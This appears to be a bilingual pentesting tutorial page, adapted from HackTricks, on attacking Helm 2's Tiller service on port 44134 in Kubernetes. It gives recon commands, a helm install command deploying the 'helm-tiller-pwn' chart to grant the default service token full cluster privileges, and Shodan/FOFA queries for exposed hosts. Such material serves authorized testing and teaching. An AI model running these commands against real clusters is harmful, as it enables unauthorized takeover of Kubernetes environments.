---
title: "44134 - Helm"
weight: 44134
date: "2026-03-10T10:03:28+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **44134 - Tiller/Helm** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 44134 Tiller / Helm

### 基本信息

Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. **Tiller** is the **service** **running** by default in the port 44134 offering the service.

**默认 port:** 44134

```
PORT      STATE SERVICE VERSION
44134/tcp open  unknown
```

### 信息收集

If you can **enumerate pods and/or services** of different namespaces enumerate them and search for the ones with **"tiller" in their name**:

```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```

Examples:

```bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m
```

You could also try to find this service running checking the port 44134:

```bash
sudo nmap -sS -p 44134 <IP>
```

Once you have discovered it you can communicate with it downloading the client helm application. You can use tools like `homebrew`, or look at [**the official releases page**](https://github.com/helm/helm/releases)**.** For more details, or for other options, see [the installation guide](https://v2.helm.sh/docs/using_helm/#installing-helm).

Then, you can **enumerate the service**:

```
helm --host tiller-deploy.kube-system:44134 version
```

#### 提权

By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**.

All you need to do is to install a package like this one: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) that will give the **default service token access to everything in the whole cluster.**

```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```

In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **explanation of the attack**, but basically, if you read the files [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) and [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) inside _helm-tiller-pwn/pwnchart/templates/_ you can see how **all the privileges are being given to the default token**.

---

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### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="44134"
```

#### Shodan

```bash
# Shodan 搜索语法
port:44134
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:44134
```

---

## 📖 参考资料

- [HackTricks - 44134-helm](https://book.hacktricks.wiki/en/network-services-pentesting/44134-helm.html)